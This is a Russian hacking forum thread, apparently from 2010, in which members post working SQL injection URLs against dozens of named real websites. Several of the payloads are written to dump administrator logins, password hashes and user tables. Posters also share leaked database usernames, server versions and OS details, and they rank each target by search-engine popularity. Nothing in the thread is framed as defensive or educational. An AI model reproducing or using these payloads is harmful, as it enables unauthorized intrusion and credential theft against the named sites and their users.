SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    Компания Genesys Logic [​IMG]

    http://www.genesyslogic[antigoogle].com/_en/product_01_1.php?id=-26+union+select+1,concat(username,char(58),password),3,4,5,6,7,8,9,10,11+from+admin

    OS : Red Hat

    PR-5

    Тиц-60
     
    _________________________
    4 people like this.
  2. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    http://www.aeroprize-n.ru/dom.php?ID=-182+union+select+1, 2,version()--
    http://realty.south.ru/dom.php?id=-217+union+select+version()-- ТИЦ 425 ПР 4
     
    #12462 d1v, 9 Jul 2010
    Last edited: 10 Jul 2010
  3. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    качественные окна KALEVA

    http://www.okna.ru/news/?id=-132+and+1=2+union+select+1,2,3,4,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),6,7+--

    version : 5.1.45-log
    user : root@localhost
    database : oknaru
    os : portbld-freebsd8.0
     
    2 people like this.
  4. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.bulgaria-st.ru/dom.php?id=-195+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24


    USER-bulgari7_SNT@localhost

    VERSION()-4.1.25-log

    Мой первый сайт из РУнета.

    http://neoklimat.ru/faq.php?id=-923+union+select+1,concat_ws%280x3a,version%28%29,user%28%29%29,3,4


    USER-[email protected]
    VERSION()-5.0.90-log

    ТИЦ-10


    http://woll-rus.ru/faq.php?id=-913+union+select+1,concat_ws%280x3a,version%28%29,user%28%29%29,3,4%20--


    USER-[email protected]
    VERSION()-5.0.90-log

    ТИЦ-10

    http://www.lifeskillstraining.com/faq.php?id=-4+union+select+1,group_concat%28id,0x3a,username,0x3a,password,0x3c62723e%29,3,4+from%20admin --
    /\

    Это выведет логины и пароли админов
    USER-p253j7ml_lstdb@localhost
    VERSION()-5.0.67-community

    PR-6

    http://www.citrox.net/faq.php?id=-161+union+select+1 --

    PR-4
     
    #12464 -PRIVAT-, 9 Jul 2010
    Last edited: 9 Jul 2010
    1 person likes this.
  5. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    PHP:
    http://www.compudrug.com/show.php?id=-8+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14--
    5.0.38-Ubuntu_0ubuntu1.4-log:compudrug:pentacom@localhost
    PR5
     
  6. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.uso.ru/pg.php?id=-45+union+select+1,concat_ws%280x3a,username,passwd,permis%29,3,4,5,3,7,8+from+adms%20-- --
    /\

    Это выведет логины и пароли админов
    USER-salutsu_uso@localhost
    VERSION()-5.0.51a-24+lenny3

    PR-2
    ТИЦ-20

    http://www.budaphone.com/press.php?id=-1+union+select+1,user%28%29,version%28%29,4%20--
    USER-[email protected]
    VERSION()-4.0.27-log

    PR-3
    ТИЦ-40


    БОЯН
    USER-[email protected]
    VERSION()-4.1.24-max-log

    PR-6
    ТИЦ-50

    http://www.sharsheret.org/faq.php?ID=-30+union+select+1,2 --
    USER-[email protected]
    VERSION()-4.0.30-max-log

    PR-6
    ТИЦ-50

    http://www.gourditas.com/heart.php?id=-45+union+select+1,concat_ws%280x3a,version%28%29,0x3a,user%28%29%29,3,4 --
    USER-hightheo_jnegro@localhost
    VERSION()-4.1.22-standard


    http://m2.irkutsk.ru/terra/terra.php?id=-1273570566+union+select+1,concat_ws%280x3a,id=1,0x3a,login,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+2bsoft6_users+Where+id=1%20--
    /\

    Это выведет логины и пароли админов
    USER-[email protected]
    VERSION()-5.0.67-log

    PR-3
    ТИЦ-1900

    http://www.phada.org/job.php?id=-2475+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%20--
    USER-phada_ksenzee@localhost
    VERSION()-4.1.22-standard

    PR-3
    ТИЦ-40

    http://www.lcgh.net/job.php?job_id=-33+union+select+1,2,version%28%29,4,user%28%29 --
    USER-lcgh@localhost
    VERSION()-5.0.45-community-nt

    PR-4

    http://www.toddjobs.com/job.php?ID=-125+union+select+1,2,3,4,5,user%28%29,7,8,9,10,11,12,13,version%28%29 --
    USER-[email protected]
    VERSION()-4.1.22-standard-log

    PR-3
     
    #12466 -PRIVAT-, 10 Jul 2010
    Last edited: 10 Jul 2010
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    http://indiauktravel.co.uk/more.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,uname,pass,name,email),7+from+admin--&contentid=1

    http://www.prodazhadvd.com/catalog/store/more.php?id=-5305+union+select+1,2,version(),4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23--
     
    _________________________
    #12467 winstrool, 10 Jul 2010
    Last edited: 10 Jul 2010
  8. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    знакомства в нижнем новгородеwww.love.r52.ru/

    http://www.love.r52.ru/view.phtml?type=gtob&s=-1+and+1=2+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),9,10,11,12,13,14,15,16,17,18,19,20,21,22+--

    version : 5.0.51a
    user : love@localhost
    database : love
    os : portbld-freebsd7.0

    http://www.love.r52.ru/view.phtml?type=gtob&s=-1+and+1=2+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,name,pass),9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+forum_user--
     
  9. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    444
    Reputations:
    255
    PR3
    OS: linux-gnu
    User: firstfor_first@localhost
    Version: 5.0.91-community
    Database: firstfor_firstfor

    PR1
    OS - linux-gnu
    User - [email protected]
    Version - 4.0.30-max-log:
    Database - ducharme

    OS: pc-linux-gnu
    User: jason_home@localhost
    Version: 4.1.22-standard
    Database: ason_dev

    PR5
    OS: debian-linux-gnu
    User: onmoney_benfran@localhost
    Version: 5.0.51a-24+lenny3-log
    Database: onmoney_onyourmoney
     
    #12469 emillord, 10 Jul 2010
    Last edited: 10 Jul 2010
    4 people like this.
  10. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    444
    Reputations:
    255
    OS: portbld-freebsd7.2
    User: [email protected]
    Version: 5.0.90-log
    Database: u180296_vintil
     
  11. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.windward-islands.net/crewed/yacht-us.php?ID=-311+union+select+1,version%28%29,3,user%28%29,5,6,7,8,9,@@version_compile_os,11,12,13,14,15,16,17,18,19 --
    USER-sailing@localhost
    VERSION()-5.0.51a-log
    OS()-portbld-freebsd6.3 passengers maximum

    PR-4
    ТИЦ-10

    http://www.engeniustech.com.sg/faq.php?ID=-9+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,version%28%29,@@version_compile_os%29 --
    USER-engeniusdbuser@localhost
    VERSION()-5.0.77
    OS()-redhat-linux-gnu

    PR-3

    http://www.colesbay.com.au/food.php?id=-8+union+select+1,2,3 --
    ТИЦ-10
    PR-4
     
    #12471 -PRIVAT-, 11 Jul 2010
    Last edited: 11 Jul 2010
  12. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    444
    Reputations:
    255
    ТИЦ10 PR2
    OS: portbld-freebsd6.3
    User: vedatransitcom@localhost
    Version: 5.0.90:
    Database: vedatransitcom


    ТИЦ10 PR2
    OS: portbld-freebsd6.3
    User: comtidcom@localhost
    Version: 5.0.90
    Database: comtidcom


    ТИЦ0 PR4
    OS: unknown-linux-gnu
    User: [email protected]
    Version: 5.0.22-standard
    Database: nlpfurniture


    PR3
    OS: unknown-linux-gnu:
    User: belaquilon@localhost
    Version: 5.1.44-community-log
    Database: victor_belaquilon
    p/s вроде не боян т.к засветился домен в зоне .by только, а этот в .com


    PR0
    OS: unknown-linux-gnu
    User: ozsbhak6_admin@localhost
    Version: 5.0.90-community
    Database: ozsbhak6_ozscooter


    PR0
    OS: redhat-linux-gnu
    User: swdata@localhost
    Version: 4.1.22
    Database: stylis
     
    14 people like this.
  13. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    предприятия перерабатывающего комплекса уральской горно-металлургической компании

    http://www.ocm.ru/ru/index.php?id15=-8681+and+1=2+union+select+1,2,3,4,5,6,7,8,concat_ws(char(58),version(),user(),database(),@@version_compile_os),10,11,12,13,14,15,16,17,18--

    version : 4.1.22
    user : ummc@localhost
    database : ummc
    os : portbld-freebsd6.2
     
    2 people like this.
  14. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    http://www.socwall.com/browse/wpDL.php?wp_id=018504+union+select+1,2,3,4,5/*

    P.S. клевый сайтик с картинками

    Gar|k: Konqi на то я ее сюда и поместил, самому раскручивать лень, кому надо тот пусть и занимается :)
     
    _________________________
    #12474 Gar|k, 12 Jul 2010
    Last edited: 12 Jul 2010
  15. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Code:
    http://www.swing-kiska.ru/modules.php?name=News&new_topic=-6'+union+sel ect+1,2,3,concat_ws (':',user_email,user_password,user _icq,femail,user_id,name),5,6,7,8,9,0,1,2,3,4,5,6+fro m+start nuke_users/*
    
    43k пользователей :)
     
    #12475 Shram-spb, 12 Jul 2010
    Last edited: 12 Jul 2010
    2 people like this.
  16. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.ventoniemi.fi/faq.php?id=-4+union+select+1,2,concat_ws%280x3a,user%28%29,@@version_compile_os,version%28%29%29,4
    USER-admin@localhost
    VERSION()-5.0.32-Debian_7etch12-log
    OS()-pc-linux-gnu

    PR-4

    http://www.sora.fi/faq.php?id=-4+union+select+1,2,concat_ws(0x3a,user(),@@version_compile_os,version()),4 --
    Копия высшего сайта.
    USER-admin@localhost
    VERSION()-5.0.32-Debian_7etch12-log
    OS()-pc-linux-gnu

    PR-4

    http://www.faarbi.com/ar/news.php?do=view_detail&id=-1+union+select+1,2,concat_ws%280x3a,version%28%29,user%28%29,@@version_compile_os%29%20 --
    USER-faarbic_faarbic@localhost
    VERSION()-5.0.85-log
    OS()-portbld-freebsd7.0


    http://www.eigenhuismakelaar.nl/faq.php?id=-306+union+select+1,2
    PR-2

    http://winpyme.com/soporte/faq.php?id=-16+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,@@version_compile_os%29,4,5 --
    USER-[email protected]
    VERSION()-4.0.25
    OS()-pc-linux-gnu

    PR-3
    ТИЦ-10

    http://www.campanasdecocinatst.com.ar/faq.php?id=5+union+select+1,2,3,4,5 --
    PR-2

    http://www.sylvesterlawofgeorgia.com/spanish/faq.php?id=-1+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,@@version_compile_os%29,3,4 --
    USER-sylveste_chuck@localhost
    VERSION()-5.1.47-community-log
    OS()-unknown-linux-gnu


    http://myzuite.com/faq.php?id=-9+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,@@version_compile_os%29,3,4 --
    USER-[email protected]
    VERSION()-5.0.22-community-max-nt
    OS()-Win32


    http://www.globalhomologaciones.com/faq.php?id=-2+union+select+1,2,3,4,5%20 --

    http://www.arredissima.com/faq.php?id=-20+union+select+1,concat_ws%280x3a,user%28%29,version%28%29,@@version_compile_os%29,3,4,5,6,7 --
    USER-[email protected]
    VERSION()-5.0.51a-3ubuntu5.7-log
    OS()-debian-linux-gnu

    PR-3
    ТИЦ-10

    http://www.diaconos.com.br/faq.php?ident=-30+union+select+1,concat_ws%280x3a,user%28%29,@@version_compile_os,version%28%29%29,3,4 --
    USER-diaconos_root@localhost
    VERSION()-5.0.90-community
    OS()-unknown-linux-gnu

    PR-2

    http://www.uhu.es/master-educomunicacion/faq.php?id=-9+union+select+group_concat%280x3a,version%28%29,user%28%29,@@version_compile_os%29,2,3,4%20--
    USER-usuedu@webunix-1
    VERSION()-5.0.45
    OS()-sun-solaris2.10

    PR-8
    ТИЦ-30

    http://www.vintil.ru/faq.php?id=-917+union+select+1,concat_ws%280x3a,version%28%29,0x3a,user%28%29,@@version_compile_os%29,3,4,5%20 --
    USER-[email protected]
    VERSION()-5.0.90-log
    OS()-portbld-freebsd7.2


    http://www.td-signal.ru/faq.php?id=-19+union+select+1,2,concat_ws%280x3a,version%28%29,0x3a,user%28%29,@@version_compile_os%29,4,5 --
    USER-[email protected]
    VERSION()-5.0.90-log
    OS()-portbld-freebsd7.2


    http://hottoursite.ru/faq.php?id=-10+union+select+concat_ws%280x3a,version%28%29,0x3a,user%28%29,@@version_compile_os%29,2 --
    USER-hottouroot@localhost
    VERSION()-5.0.45-log
    OS()-redhat-linux-gnu

    Брр... Зубы, кстати, заметил, у всех один админ.​

    http://www.zubnoiprotez.ru/faq.php?id=-3+union+select+1,concat_ws%280x3a,version%28%29,0x3a,user%28%29,@@version_compile_os%29,3 --
    USER-stomatsz_stomats@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu


    http://www.master-zub.ru/faq.php?id=-4+union+select+concat_ws%280x3a,version%28%29,0x3a,user%28%29,@@version_compile_os%29,2,3 --
    USER-stomatsz_master@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu


    http://www.moyzubnoi.ru/faq.php?id=-11+union+select+concat_ws%280x3a,user%28%29,@@version_compile_os,version%28%29%29,2,3 --
    USER-stomatsz_moyzubn@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu


    http://www.mir-zubov.ru/faq.php?id=-11+union+select+1,concat_ws%280x3a,version%28%29,0x3a%20,user%28%29,@@version_compile_os%29,3%20 --
    USER-stomatsz_mirzubo@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu


    http://www.clinica-zubov.ru/faq.php?id=-2+union+select+concat_ws%280x3a,version%28%29,0x3a%20,user%28%29,@@version_compile_os%29,2,3,4,5,6 --
    USER-tomatsz_clinica@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu


    http://www.stomats-zub.ru/faq.php?id=-12+union+select+concat_ws%280x3a,version%28%29,0x3a%20,user%28%29,@@version_compile_os%29,2,3 --
    USER-stomatsz_stomats@localhost
    VERSION()-5.0.37
    OS()-unknown-linux-gnu

    Зубы, слава Богу, кончились.​


    http://www.tdtransformator.ru/faq.php?id=-386+union+select+1,2,concat_ws%280x3a,user%28%29,@@version_compile_os,version%28%29%29,4,5 --
    USER-[email protected]
    VERSION()-5.0.90-log
    OS()-portbld-freebsd7.2

    ТИЦ-20
    ПР-1
     
    #12476 -PRIVAT-, 12 Jul 2010
    Last edited: 12 Jul 2010
    4 people like this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.indianprairiecommunity.org/go.php?_ID=-2290+or(1,1)=(select+count(0),concat((select+concat(email,char(58),password)+from+ciab_member+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--++
     
    _________________________
    3 people like this.
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    компания "А и Р" продажа холодного оружия

    http://www.zlatoust-air.ru/katalog.php?h_id=1+and+1=2+union+select+concat_ws(char(58),@@version,user(),database(),@@version_compile_os),2+--

    version : 5.1.41-log
    user : zlatoust_zmaster@localhost
    database : zlatoust_master
    os : pc-linux-gnu
     
  19. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.keypoints.kz/index.php?page=article&id=5+and+1=2+UNION+SELECT+1,2,3,4,5,6,7--
    keypoints-kz@localhost:5.0.51a-24+lenny2-log:keypoints-kz
    тиц 10 pr3
    
     
    1 person likes this.
  20. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.institutodeempresa.org/

    http://www.institutodeempresa.org/IE/site/php/en/school_communication_detail.php?id_new=111+union+select+1,group_concat(login,char(58),password),3,4,5,6,7,8,9,10,11+from+usuarios

    Version : 5.0.83-log

    OS : FreeBSD 7.1


    PR-7
    тИЦ-80
     
    _________________________
    3 people like this.
Thread Status:
Not open for further replies.